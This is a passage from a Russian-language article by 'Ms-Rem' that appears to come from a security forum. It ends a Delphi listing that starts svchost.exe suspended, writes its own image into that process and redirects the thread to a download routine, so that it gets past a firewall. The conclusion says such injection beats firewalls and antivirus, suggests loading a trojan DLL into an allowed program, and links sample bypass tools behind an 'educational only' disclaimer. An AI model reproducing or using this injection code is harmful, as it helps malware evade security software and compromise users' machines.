  202.  St.cb := SizeOf(TStartupInfo);
  203.  St.wShowWindow := SW_SHOW;
  204.  //запускаем процесс, которому разрешено лезть на 80 порт
  205.  CreateProcess(nil, 'svchost.exe', nil, nil, false,
  206.                CREATE_SUSPENDED, nil, nil, St, Pr);
  207.  Code := pointer(GetModuleHandle(nil));
  208.  InjectSize := PImageOptionalHeader(pointer(integer(Code) +
  209.                                     PImageDosHeader(Code)._lfanew +
  210.                                     SizeOf(dword) +
  211.                                     SizeOf(TImageFileHeader))).SizeOfImage;
  212.  //выделяем память в процессе
  213.  Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
  214.                             MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  215.  //внедряем код
  216.  WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
  217.  //изменяем контекст нити
  218.  Context.ContextFlags := CONTEXT_FULL;
  219.  GetThreadContext(Pr.hThread, Context);
  220.  Context.Eip := dword(@Download);
  221.  SetThreadContext(Pr.hThread, Context);
  222.  //запускаем процесс
  223.  ResumeThread(Pr.hThread);
  224. end.



Заключение:

Из всего вышесказанного следует, что технологии внедрения кода и перехвата API могут служить для обхода практически любой защиты и создания чрезвычайно опасных вредоносных программ. Также они могут быть использованы и для создания систем безопасности. Также вышеприведенные примеры показывают, что как бы производители не рекламировали непробиваемость своих фаерволлов, все равно они спасают только от самых примитивных вредоносных программ. Здесь приведен пример "чистого", полностью программного обхода фаерволла, но это можно сделать гораздо проще, если подключить троянскую DLL к разрешенной программе, так как большинство пользователей проигнорируют сообщение фаерволла и разрешат доступ. Надежность антивирусов тоже не следует считать достаточной, так как они могут быть легко уничтожены вредоносной программой. В настоящее время от подобных приемов защиты не существует, поэтому нужно быть осторожным при установке нового софта, так как неизвестно, что может в себе содержать любая программа.
Также хочу заметить, что ВСЕ ПРИВЕДЕННОЕ В ЭТОЙ СТАТЬЕ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНО ТОЛЬКО В УЧЕБНО-ПОЗАВАТЕЛЬНЫХ ЦЕЛЯХ. Автор не несет никакой ответственности за любой ущерб нанесенный применением полученных знаний. Также приведенные здесь примеры не имеют цель нанести какой-либо ущерб лаборатории Касперского и компании Agnitum, а лишь призваны показать уязвимости в их продуктах.
Если вы с этим не согласны, то пожалуйста удалите статью с всех имеющихся у вас носителей информации и забудьте прочитанное.



Приложение:

Все что описано в статье вы можете увидеть на практике своими глазами, если скачаете примеры к статье.

ФайлОписание
advApiHook (38 кб) Моя библиотека Advanced Api Hook в которой реализовано все вышеприведенное.
Примеры использования находятся в архиве с библиотекой.
Fire (10 кб) Пример обхода фаерволла.
© Ms-Rem

0 10.096
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532